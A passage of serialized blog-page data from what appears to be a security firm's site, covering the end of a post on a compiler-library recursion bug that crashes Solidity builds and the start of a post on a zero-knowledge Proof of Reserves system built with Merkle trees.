./crash\n",{"type":23,"tag":134,"props":91232,"children":91233},{"class":136,"line":147},[91234,91238],{"type":23,"tag":134,"props":91235,"children":91236},{"style":189},[91237],{"type":28,"value":89927},{"type":23,"tag":134,"props":91239,"children":91240},{"style":1461},[91241],{"type":28,"value":91242}," \u003Cboost/rational.hpp>\n",{"type":23,"tag":134,"props":91244,"children":91245},{"class":136,"line":185},[91246],{"type":23,"tag":134,"props":91247,"children":91248},{"emptyLinePlaceholder":15},[91249],{"type":28,"value":865},{"type":23,"tag":134,"props":91251,"children":91252},{"class":136,"line":221},[91253,91257,91261],{"type":23,"tag":134,"props":91254,"children":91255},{"style":151},[91256],{"type":28,"value":18523},{"type":23,"tag":134,"props":91258,"children":91259},{"style":264},[91260],{"type":28,"value":90292},{"type":23,"tag":134,"props":91262,"children":91263},{"style":179},[91264],{"type":28,"value":15206},{"type":23,"tag":134,"props":91266,"children":91267},{"class":136,"line":332},[91268,91273,91277,91281,91285],{"type":23,"tag":134,"props":91269,"children":91270},{"style":179},[91271],{"type":28,"value":91272},"    boost::rational",{"type":23,"tag":134,"props":91274,"children":91275},{"style":168},[91276],{"type":28,"value":5262},{"type":23,"tag":134,"props":91278,"children":91279},{"style":151},[91280],{"type":28,"value":18523},{"type":23,"tag":134,"props":91282,"children":91283},{"style":168},[91284],{"type":28,"value":9927},{"type":23,"tag":134,"props":91286,"children":91287},{"style":179},[91288],{"type":28,"value":90321},{"type":23,"tag":134,"props":91290,"children":91291},{"class":136,"line":438},[91292,91296,91300,91304,91308],{"type":23,"tag":134,"props":91293,"children":91294},{"style":189},[91295],{"type":28,"value":16461},{"type":23,"tag":134,"props":91297,"children":91298},{"style":179},[91299],{"type":28,"value":90333},{"type":23,"tag":134,"props":91301,"children":91302},{"style":168},[91303],{"type":28,"value":8035},{"type":23,"tag":134,"props":91305,"children":91306},{"style":205},[91307],{"type":28,"value":208},{"type":23,"tag":134,"props":91309,"children":91310},{"style":179},[91311],{"type":28,"value":182},{"type":23,"tag":134,"props":91313,"children":91314},{"class":136,"line":466},[91315],{"type":23,"tag":134,"props":91316,"children":91317},{"style":179},[91318],{"type":28,"value":1098},{"type":23,"tag":24,"props":91320,"children":91321},{},[91322],{"type":28,"value":91323},"Expected output: nothing.",{"type":23,"tag":24,"props":91325,"children":91326},{},[91327],{"type":28,"value":91328},"Actual: segmentation fault (stack overflow).",{"type":23,"tag":24,"props":91330,"children":91331},{},[91332,91334,91341],{"type":28,"value":91333},"This exact pattern was ",{"type":23,"tag":31,"props":91335,"children":91338},{"href":91336,"rel":91337},"https://github.com/boostorg/rational/issues/43",[35],[91339],{"type":28,"value":91340},"reported and fixed in Boost rational",{"type":28,"value":91342},", but only in version 1.75+.",{"type":23,"tag":24,"props":91344,"children":91345},{},[91346],{"type":28,"value":91347},"Here’s the one-line fix:",{"type":23,"tag":87,"props":91349,"children":91351},{"code":91350,"language":39861,"meta":7,"className":39859,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[91352],{"type":23,"tag":92,"props":91353,"children":91354},{"__ignoreMap":7},[91355,91363,91370,91378,91386,91394,91401,91409,91417],{"type":23,"tag":134,"props":91356,"children":91357},{"class":136,"line":137},[91358],{"type":23,"tag":134,"props":91359,"children":91360},{"style":179},[91361],{"type":28,"value":91362},"template \u003Cclass Arg, class IntType>\n",{"type":23,"tag":134,"props":91364,"children":91365},{"class":136,"line":147},[91366],{"type":23,"tag":134,"props":91367,"children":91368},{"style":179},[91369],{"type":28,"value":90979},{"type":23,"tag":134,"props":91371,"children":91372},{"class":136,"line":185},[91373],{"type":23,"tag":134,"props":91374,"children":91375},{"style":179},[91376],{"type":28,"value":91377},"inline typename boost::enable_if_c \u003C\n",{"type":23,"tag":134,"props":91379,"children":91380},{"class":136,"line":221},[91381],{"type":23,"tag":134,"props":91382,"children":91383},{"style":179},[91384],{"type":28,"value":91385},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":23,"tag":134,"props":91387,"children":91388},{"class":136,"line":332},[91389],{"type":23,"tag":134,"props":91390,"children":91391},{"style":179},[91392],{"type":28,"value":91393},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":23,"tag":134,"props":91395,"children":91396},{"class":136,"line":438},[91397],{"type":23,"tag":134,"props":91398,"children":91399},{"style":179},[91400],{"type":28,"value":10346},{"type":23,"tag":134,"props":91402,"children":91403},{"class":136,"line":466},[91404],{"type":23,"tag":134,"props":91405,"children":91406},{"style":1461},[91407],{"type":28,"value":91408},"-     return a == b;\n",{"type":23,"tag":134,"props":91410,"children":91411},{"class":136,"line":479},[91412],{"type":23,"tag":134,"props":91413,"children":91414},{"style":205},[91415],{"type":28,"value":91416},"+     return a.operator==(b);\n",{"type":23,"tag":134,"props":91418,"children":91419},{"class":136,"line":497},[91420],{"type":23,"tag":134,"props":91421,"children":91422},{"style":179},[91423],{"type":28,"value":1098},{"type":23,"tag":24,"props":91425,"children":91426},{},[91427,91429,91434,91436,91441],{"type":28,"value":91428},"Instead of calling ",{"type":23,"tag":92,"props":91430,"children":91432},{"className":91431},[],[91433],{"type":28,"value":89759},{"type":28,"value":91435}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":23,"tag":92,"props":91437,"children":91439},{"className":91438},[],[91440],{"type":28,"value":89767},{"type":28,"value":720},{"type":23,"tag":24,"props":91443,"children":91444},{},[91445],{"type":28,"value":91446},"This prevents C++20 from triggering recursive rewrites.",{"type":23,"tag":18268,"props":91448,"children":91449},{},[],{"type":23,"tag":61,"props":91451,"children":91453},{"id":91452},"part-iv-how-this-breaks-solidity",[91454],{"type":28,"value":91455},"Part IV: How This Breaks Solidity",{"type":23,"tag":24,"props":91457,"children":91458},{},[91459,91461,91466],{"type":28,"value":91460},"The Solidity codebase uses ",{"type":23,"tag":92,"props":91462,"children":91464},{"className":91463},[],[91465],{"type":28,"value":89614},{"type":28,"value":91467}," to represent certain compile-time constant expressions.",{"type":23,"tag":24,"props":91469,"children":91470},{},[91471,91473,91479],{"type":28,"value":91472},"One snippet that can trigger this issue appears in ",{"type":23,"tag":92,"props":91474,"children":91476},{"className":91475},[],[91477],{"type":28,"value":91478},"DeclarationTypeChecker::endVisit",{"type":28,"value":1697},{"type":23,"tag":87,"props":91481,"children":91483},{"code":91482,"language":28605,"meta":7,"className":28603,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[91484],{"type":23,"tag":92,"props":91485,"children":91486},{"__ignoreMap":7},[91487,91534,91559,91566,91644,91651,91704,91732,91739,91759,91766,91806,91813],{"type":23,"tag":134,"props":91488,"children":91489},{"class":136,"line":137},[91490,91494,91499,91503,91507,91512,91516,91521,91525,91529],{"type":23,"tag":134,"props":91491,"children":91492},{"style":189},[91493],{"type":28,"value":15049},{"type":23,"tag":134,"props":91495,"children":91496},{"style":179},[91497],{"type":28,"value":91498}," (Expression ",{"type":23,"tag":134,"props":91500,"children":91501},{"style":151},[91502],{"type":28,"value":9119},{"type":23,"tag":134,"props":91504,"children":91505},{"style":168},[91506],{"type":28,"value":1777},{"type":23,"tag":134,"props":91508,"children":91509},{"style":179},[91510],{"type":28,"value":91511}," length ",{"type":23,"tag":134,"props":91513,"children":91514},{"style":168},[91515],{"type":28,"value":257},{"type":23,"tag":134,"props":91517,"children":91518},{"style":162},[91519],{"type":28,"value":91520}," _typeName",{"type":23,"tag":134,"props":91522,"children":91523},{"style":179},[91524],{"type":28,"value":720},{"type":23,"tag":134,"props":91526,"children":91527},{"style":264},[91528],{"type":28,"value":7963},{"type":23,"tag":134,"props":91530,"children":91531},{"style":179},[91532],{"type":28,"value":91533},"()) {\n",{"type":23,"tag":134,"props":91535,"children":91536},{"class":136,"line":147},[91537,91542,91546,91550,91554],{"type":23,"tag":134,"props":91538,"children":91539},{"style":179},[91540],{"type":28,"value":91541},"    std::optional",{"type":23,"tag":134,"props":91543,"children":91544},{"style":168},[91545],{"type":28,"value":5262},{"type":23,"tag":134,"props":91547,"children":91548},{"style":179},[91549],{"type":28,"value":90619},{"type":23,"tag":134,"props":91551,"children":91552},{"style":168},[91553],{"type":28,"value":9927},{"type":23,"tag":134,"props":91555,"children":91556},{"style":179},[91557],{"type":28,"value":91558}," lengthValue;\n",{"type":23,"tag":134,"props":91560,"children":91561},{"class":136,"line":185},[91562],{"type":23,"tag":134,"props":91563,"children":91564},{"emptyLinePlaceholder":15},[91565],{"type":28,"value":865},{"type":23,"tag":134,"props":91567,"children":91568},{"class":136,"line":221},[91569,91573,91577,91581,91585,91589,91593,91597,91601,91606,91610,91614,91618,91622,91626,91631,91635,91639],{"type":23,"tag":134,"props":91570,"children":91571},{"style":189},[91572],{"type":28,"value":11746},{"type":23,"tag":134,"props":91574,"children":91575},{"style":179},[91576],{"type":28,"value":232},{"type":23,"tag":134,"props":91578,"children":91579},{"style":162},[91580],{"type":28,"value":7963},{"type":23,"tag":134,"props":91582,"children":91583},{"style":179},[91584],{"type":28,"value":13225},{"type":23,"tag":134,"props":91586,"children":91587},{"style":264},[91588],{"type":28,"value":29657},{"type":23,"tag":134,"props":91590,"children":91591},{"style":179},[91592],{"type":28,"value":29662},{"type":23,"tag":134,"props":91594,"children":91595},{"style":162},[91596],{"type":28,"value":32252},{"type":23,"tag":134,"props":91598,"children":91599},{"style":168},[91600],{"type":28,"value":13653},{"type":23,"tag":134,"props":91602,"children":91603},{"style":162},[91604],{"type":28,"value":91605}," length",{"type":23,"tag":134,"props":91607,"children":91608},{"style":179},[91609],{"type":28,"value":13225},{"type":23,"tag":134,"props":91611,"children":91612},{"style":264},[91613],{"type":28,"value":29657},{"type":23,"tag":134,"props":91615,"children":91616},{"style":179},[91617],{"type":28,"value":29662},{"type":23,"tag":134,"props":91619,"children":91620},{"style":162},[91621],{"type":28,"value":32252},{"type":23,"tag":134,"props":91623,"children":91624},{"style":179},[91625],{"type":28,"value":13225},{"type":23,"tag":134,"props":91627,"children":91628},{"style":264},[91629],{"type":28,"value":91630},"category",{"type":23,"tag":134,"props":91632,"children":91633},{"style":179},[91634],{"type":28,"value":13511},{"type":23,"tag":134,"props":91636,"children":91637},{"style":168},[91638],{"type":28,"value":8035},{"type":23,"tag":134,"props":91640,"children":91641},{"style":179},[91642],{"type":28,"value":91643}," Type::Category::RationalNumber)\n",{"type":23,"tag":134,"props":91645,"children":91646},{"class":136,"line":332},[91647],{"type":23,"tag":134,"props":91648,"children":91649},{"style":179},[91650],{"type":28,"value":81354},{"type":23,"tag":134,"props":91652,"children":91653},{"class":136,"line":438},[91654,91659,91663,91668,91672,91677,91681,91686,91690,91695,91699],{"type":23,"tag":134,"props":91655,"children":91656},{"style":189},[91657],{"type":28,"value":91658},"    else",{"type":23,"tag":134,"props":91660,"children":91661},{"style":189},[91662],{"type":28,"value":15258},{"type":23,"tag":134,"props":91664,"children":91665},{"style":179},[91666],{"type":28,"value":91667}," (std::optional",{"type":23,"tag":134,"props":91669,"children":91670},{"style":168},[91671],{"type":28,"value":5262},{"type":23,"tag":134,"props":91673,"children":91674},{"style":179},[91675],{"type":28,"value":91676},"ConstantEvaluator::TypedRational",{"type":23,"tag":134,"props":91678,"children":91679},{"style":168},[91680],{"type":28,"value":9927},{"type":23,"tag":134,"props":91682,"children":91683},{"style":179},[91684],{"type":28,"value":91685}," value ",{"type":23,"tag":134,"props":91687,"children":91688},{"style":168},[91689],{"type":28,"value":257},{"type":23,"tag":134,"props":91691,"children":91692},{"style":179},[91693],{"type":28,"value":91694}," ConstantEvaluator::",{"type":23,"tag":134,"props":91696,"children":91697},{"style":264},[91698],{"type":28,"value":37503},{"type":23,"tag":134,"props":91700,"children":91701},{"style":179},[91702],{"type":28,"value":91703},"(...))\n",{"type":23,"tag":134,"props":91705,"children":91706},{"class":136,"line":466},[91707,91712,91716,91720,91724,91728],{"type":23,"tag":134,"props":91708,"children":91709},{"style":179},[91710],{"type":28,"value":91711},"        lengthValue ",{"type":23,"tag":134,"props":91713,"children":91714},{"style":168},[91715],{"type":28,"value":257},{"type":23,"tag":134,"props":91717,"children":91718},{"style":162},[91719],{"type":28,"value":32006},{"type":23,"tag":134,"props":91721,"children":91722},{"style":179},[91723],{"type":28,"value":13225},{"type":23,"tag":134,"props":91725,"children":91726},{"style":162},[91727],{"type":28,"value":38650},{"type":23,"tag":134,"props":91729,"children":91730},{"style":179},[91731],{"type":28,"value":182},{"type":23,"tag":134,"props":91733,"children":91734},{"class":136,"line":479},[91735],{"type":23,"tag":134,"props":91736,"children":91737},{"emptyLinePlaceholder":15},[91738],{"type":28,"value":865},{"type":23,"tag":134,"props":91740,"children":91741},{"class":136,"line":497},[91742,91746,91750,91754],{"type":23,"tag":134,"props":91743,"children":91744},{"style":189},[91745],{"type":28,"value":11746},{"type":23,"tag":134,"props":91747,"children":91748},{"style":179},[91749],{"type":28,"value":232},{"type":23,"tag":134,"props":91751,"children":91752},{"style":168},[91753],{"type":28,"value":20099},{"type":23,"tag":134,"props":91755,"children":91756},{"style":179},[91757],{"type":28,"value":91758},"lengthValue)\n",{"type":23,"tag":134,"props":91760,"children":91761},{"class":136,"line":518},[91762],{"type":23,"tag":134,"props":91763,"children":91764},{"style":179},[91765],{"type":28,"value":81354},{"type":23,"tag":134,"props":91767,"children":91768},{"class":136,"line":527},[91769,91773,91777,91781,91785,91789,91793,91797,91801],{"type":23,"tag":134,"props":91770,"children":91771},{"style":189},[91772],{"type":28,"value":91658},{"type":23,"tag":134,"props":91774,"children":91775},{"style":189},[91776],{"type":28,"value":15258},{"type":23,"tag":134,"props":91778,"children":91779},{"style":179},[91780],{"type":28,"value":232},{"type":23,"tag":134,"props":91782,"children":91783},{"style":168},[91784],{"type":28,"value":1777},{"type":23,"tag":134,"props":91786,"children":91787},{"style":179},[91788],{"type":28,"value":89590},{"type":23,"tag":134,"props":91790,"children":91791},{"style":168},[91792],{"type":28,"value":8035},{"type":23,"tag":134,"props":91794,"children":91795},{"style":205},[91796],{"type":28,"value":208},{"type":23,"tag":134,"props":91798,"children":91799},{"style":179},[91800],{"type":28,"value":296},{"type":23,"tag":134,"props":91802,"children":91803},{"style":141},[91804],{"type":28,"value":91805},"  // \u003C-- Infinite recursion happens here\n",{"type":23,"tag":134,"props":91807,"children":91808},{"class":136,"line":780},[91809],{"type":23,"tag":134,"props":91810,"children":91811},{"style":179},[91812],{"type":28,"value":81354},{"type":23,"tag":134,"props":91814,"children":91815},{"class":136,"line":797},[91816],{"type":23,"tag":134,"props":91817,"children":91818},{"style":179},[91819],{"type":28,"value":1098},{"type":23,"tag":24,"props":91821,"children":91822},{},[91823],{"type":28,"value":91824},"Under normal circumstances, this expression is benign. But:",{"type":23,"tag":16158,"props":91826,"children":91827},{},[91828,91833,91838],{"type":23,"tag":4894,"props":91829,"children":91830},{},[91831],{"type":28,"value":91832},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":23,"tag":4894,"props":91834,"children":91835},{},[91836],{"type":28,"value":91837},"C++20 reverses the arguments",{"type":23,"tag":4894,"props":91839,"children":91840},{},[91841],{"type":28,"value":91842},"The non-member operator recursively calls itself",{"type":23,"tag":24,"props":91844,"children":91845},{},[91846],{"type":28,"value":91847},"💥: segmentation fault.",{"type":23,"tag":18268,"props":91849,"children":91850},{},[],{"type":23,"tag":61,"props":91852,"children":91854},{"id":91853},"part-v-what-environments-are-affected",[91855],{"type":28,"value":91856},"Part V: What Environments are Affected?",{"type":23,"tag":24,"props":91858,"children":91859},{},[91860],{"type":28,"value":91861},"If a system uses any of the following:",{"type":23,"tag":16158,"props":91863,"children":91864},{},[91865,91870,91875],{"type":23,"tag":4894,"props":91866,"children":91867},{},[91868],{"type":28,"value":91869},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":23,"tag":4894,"props":91871,"children":91872},{},[91873],{"type":28,"value":91874},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":23,"tag":4894,"props":91876,"children":91877},{},[91878],{"type":28,"value":91879},"C++20 enabled (default in recent Solidity builds)",{"type":23,"tag":24,"props":91881,"children":91882},{},[91883,91885,91890,91892,91898],{"type":28,"value":91884},"They will encounter this crash ",{"type":23,"tag":2532,"props":91886,"children":91887},{},[91888],{"type":28,"value":91889},"as soon as",{"type":28,"value":91891}," it processes a Solidity source with a length expression like ",{"type":23,"tag":92,"props":91893,"children":91895},{"className":91894},[],[91896],{"type":28,"value":91897},"T[0]",{"type":28,"value":91899}," or anything involving compile-time rational comparisons.",{"type":23,"tag":18268,"props":91901,"children":91902},{},[],{"type":23,"tag":61,"props":91904,"children":91906},{"id":91905},"recommendations",[91907],{"type":28,"value":91908},"Recommendations",{"type":23,"tag":16158,"props":91910,"children":91911},{},[91912,91920],{"type":23,"tag":4894,"props":91913,"children":91914},{},[91915],{"type":23,"tag":2532,"props":91916,"children":91917},{},[91918],{"type":28,"value":91919},"Update Boost to ≥ 1.75",{"type":23,"tag":4894,"props":91921,"children":91922},{},[91923],{"type":23,"tag":2532,"props":91924,"children":91925},{},[91926],{"type":28,"value":91927},"Pin G++ to v14 or later",{"type":23,"tag":18268,"props":91929,"children":91930},{},[],{"type":23,"tag":61,"props":91932,"children":91933},{"id":28425},[91934],{"type":28,"value":18423},{"type":23,"tag":24,"props":91936,"children":91937},{},[91938],{"type":28,"value":91939},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":23,"tag":24,"props":91941,"children":91942},{},[91943,91945,91949],{"type":28,"value":91944},"But it ",{"type":23,"tag":2532,"props":91946,"children":91947},{},[91948],{"type":28,"value":1174},{"type":28,"value":91950}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":23,"tag":24,"props":91952,"children":91953},{},[91954],{"type":28,"value":91955},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":23,"tag":24,"props":91957,"children":91958},{},[91959],{"type":28,"value":91960},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":23,"tag":2575,"props":91962,"children":91963},{},[91964],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":91966},[91967,91968,91973,91976,91977,91978,91979,91980],{"id":89650,"depth":147,"text":89653},{"id":89739,"depth":147,"text":89742,"children":91969},[91970,91971,91972],{"id":89745,"depth":185,"text":89748},{"id":89813,"depth":185,"text":89816},{"id":89904,"depth":185,"text":89907},{"id":90488,"depth":147,"text":90491,"children":91974},[91975],{"id":90494,"depth":185,"text":90497},{"id":90605,"depth":147,"text":90608},{"id":91452,"depth":147,"text":91455},{"id":91853,"depth":147,"text":91856},{"id":91905,"depth":147,"text":91908},{"id":28425,"depth":147,"text":18423},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":91985,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":91986,"description":91987,"date":91988,"author":30695,"image":91989,"isFeatured":15,"onBlogPage":15,"tags":91991,"body":91994,"_type":2586,"_id":96770,"_source":2588,"_file":96771,"_stem":96772,"_extension":2591},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":91990,"width":13091,"height":13091},"/posts/por/title.png",[91992,91993],"zk","por",{"type":20,"children":91995,"toc":96747},[91996,92002,92014,92026,92031,92063,92077,92083,92095,92100,92105,92142,92147,92153,92158,92165,92170,92196,92201,92207,92227,92241,92249,92254,92259,92267,92280,92286,92368,92374,92379,92392,92397,92404,92428,92436,92441,92447,92452,92900,92913,92919,92924,92932,92950,92958,92971,92979,94640,94645,94652,94658,94663,94670,94686,94693,94701,94708,96219,96224,96231,96237,96242,96269,96274,96293,96299,96307,96325,96374,96382,96401,96423,96429,96442,96447,96454,96459,96522,96527,96534,96554,96560,96565,96571,96576,96620,96625,96633,96639,96644,96686,96691,96699,96704,96712,96716,96721,96734],{"type":23,"tag":61,"props":91997,"children":91999},{"id":91998},"what-is-a-proof-of-reserves",[92000],{"type":28,"value":92001},"What is a Proof of Reserves?",{"type":23,"tag":24,"props":92003,"children":92004},{},[92005,92007,92012],{"type":28,"value":92006},"At its heart, ",{"type":23,"tag":2532,"props":92008,"children":92009},{},[92010],{"type":28,"value":92011},"Proof of Reserves (PoR)",{"type":28,"value":92013}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":23,"tag":24,"props":92015,"children":92016},{},[92017,92019,92024],{"type":28,"value":92018},"Think of it this way: ",{"type":23,"tag":2532,"props":92020,"children":92021},{},[92022],{"type":28,"value":92023},"PoR",{"type":28,"value":92025}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":23,"tag":24,"props":92027,"children":92028},{},[92029],{"type":28,"value":92030},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":23,"tag":24,"props":92032,"children":92033},{},[92034,92036,92043,92045,92052,92054,92061],{"type":28,"value":92035},"We from OtterSec, in partnership with ",{"type":23,"tag":31,"props":92037,"children":92040},{"href":92038,"rel":92039},"https://backpack.exchange/",[35],[92041],{"type":28,"value":92042},"Backpack",{"type":28,"value":92044},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":23,"tag":31,"props":92046,"children":92049},{"href":92047,"rel":92048},"https://github.com/otter-sec/por_v2",[35],[92050],{"type":28,"value":92051},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":28,"value":92053}," was based on ",{"type":23,"tag":31,"props":92055,"children":92058},{"href":92056,"rel":92057},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[35],[92059],{"type":28,"value":92060},"OKX Proof of Reserves algorithm",{"type":28,"value":92062}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":23,"tag":24,"props":92064,"children":92065},{},[92066,92068,92075],{"type":28,"value":92067},"In addition, we also created and open-sourced a ",{"type":23,"tag":31,"props":92069,"children":92072},{"href":92070,"rel":92071},"https://github.com/otter-sec/por_verifier_server",[35],[92073],{"type":28,"value":92074},"PoR verifier server",{"type":28,"value":92076}," that receives the proofs and validates them.",{"type":23,"tag":61,"props":92078,"children":92080},{"id":92079},"why-do-we-use-zk-for-por",[92081],{"type":28,"value":92082},"Why do we use ZK for PoR?",{"type":23,"tag":24,"props":92084,"children":92085},{},[92086,92088,92093],{"type":28,"value":92087},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":23,"tag":2532,"props":92089,"children":92090},{},[92091],{"type":28,"value":92092},"Zero-Knowledge Proofs (ZKPs)",{"type":28,"value":92094}," become game-changers.",{"type":23,"tag":24,"props":92096,"children":92097},{},[92098],{"type":28,"value":92099},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":23,"tag":24,"props":92101,"children":92102},{},[92103],{"type":28,"value":92104},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":23,"tag":4890,"props":92106,"children":92107},{},[92108,92125],{"type":23,"tag":4894,"props":92109,"children":92110},{},[92111,92116,92118,92124],{"type":23,"tag":2532,"props":92112,"children":92113},{},[92114],{"type":28,"value":92115},"Sum proof",{"type":28,"value":92117},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":23,"tag":92,"props":92119,"children":92121},{"className":92120},[],[92122],{"type":28,"value":92123},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":28,"value":20220},{"type":23,"tag":4894,"props":92126,"children":92127},{},[92128,92133,92135,92140],{"type":23,"tag":2532,"props":92129,"children":92130},{},[92131],{"type":28,"value":92132},"Non-negativity",{"type":28,"value":92134},": All users have a ",{"type":23,"tag":2532,"props":92136,"children":92137},{},[92138],{"type":28,"value":92139},"positive",{"type":28,"value":92141}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":23,"tag":24,"props":92143,"children":92144},{},[92145],{"type":28,"value":92146},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":23,"tag":61,"props":92148,"children":92150},{"id":92149},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[92151],{"type":28,"value":92152},"What is a Merkle Tree and how does it help in a PoR?",{"type":23,"tag":24,"props":92154,"children":92155},{},[92156],{"type":28,"value":92157},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":23,"tag":24,"props":92159,"children":92160},{},[92161],{"type":23,"tag":1116,"props":92162,"children":92164},{"alt":50084,"src":92163},"/posts/por/merkle-tree.png",[],{"type":23,"tag":24,"props":92166,"children":92167},{},[92168],{"type":28,"value":92169},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":23,"tag":4890,"props":92171,"children":92172},{},[92173,92186,92191],{"type":23,"tag":4894,"props":92174,"children":92175},{},[92176,92178,92184],{"type":28,"value":92177},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":23,"tag":92,"props":92179,"children":92181},{"className":92180},[],[92182],{"type":28,"value":92183},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":28,"value":92185},");",{"type":23,"tag":4894,"props":92187,"children":92188},{},[92189],{"type":28,"value":92190},"The Merkle tree is made public;",{"type":23,"tag":4894,"props":92192,"children":92193},{},[92194],{"type":28,"value":92195},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":23,"tag":24,"props":92197,"children":92198},{},[92199],{"type":28,"value":92200},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":23,"tag":61,"props":92202,"children":92204},{"id":92203},"ottersec-porv2",[92205],{"type":28,"value":92206},"OtterSec PoRv2",{"type":23,"tag":24,"props":92208,"children":92209},{},[92210,92216,92218,92225],{"type":23,"tag":31,"props":92211,"children":92213},{"href":92047,"rel":92212},[35],[92214],{"type":28,"value":92215},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":28,"value":92217},", which uses the ",{"type":23,"tag":31,"props":92219,"children":92222},{"href":92220,"rel":92221},"https://github.com/0xPolygonZero/plonky2",[35],[92223],{"type":28,"value":92224},"plonky2 ZK algorithm",{"type":28,"value":92226}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":23,"tag":24,"props":92228,"children":92229},{},[92230,92232,92239],{"type":28,"value":92231},"We named it PoRv2 because we already had a version based on ",{"type":23,"tag":31,"props":92233,"children":92236},{"href":92234,"rel":92235},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[35],[92237],{"type":28,"value":92238},"Vitalik's proof of solvency",{"type":28,"value":92240},", which was not optimal.",{"type":23,"tag":24,"props":92242,"children":92243},{},[92244],{"type":23,"tag":2532,"props":92245,"children":92246},{},[92247],{"type":28,"value":92248},"Non-negativity Proof",{"type":23,"tag":24,"props":92250,"children":92251},{},[92252],{"type":28,"value":92253},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":23,"tag":24,"props":92255,"children":92256},{},[92257],{"type":28,"value":92258},"We also check for overflows during summation to prevent tampering in the final result.",{"type":23,"tag":24,"props":92260,"children":92261},{},[92262],{"type":23,"tag":2532,"props":92263,"children":92264},{},[92265],{"type":28,"value":92266},"Sum Proof",{"type":23,"tag":24,"props":92268,"children":92269},{},[92270,92272,92278],{"type":28,"value":92271},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":23,"tag":92,"props":92273,"children":92275},{"className":92274},[],[92276],{"type":28,"value":92277},"BTC final: user1_btc + user2_btc ...",{"type":28,"value":92279},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":23,"tag":9072,"props":92281,"children":92283},{"id":92282},"what-are-the-ottersec-porv2-key-points",[92284],{"type":28,"value":92285},"What are the OtterSec 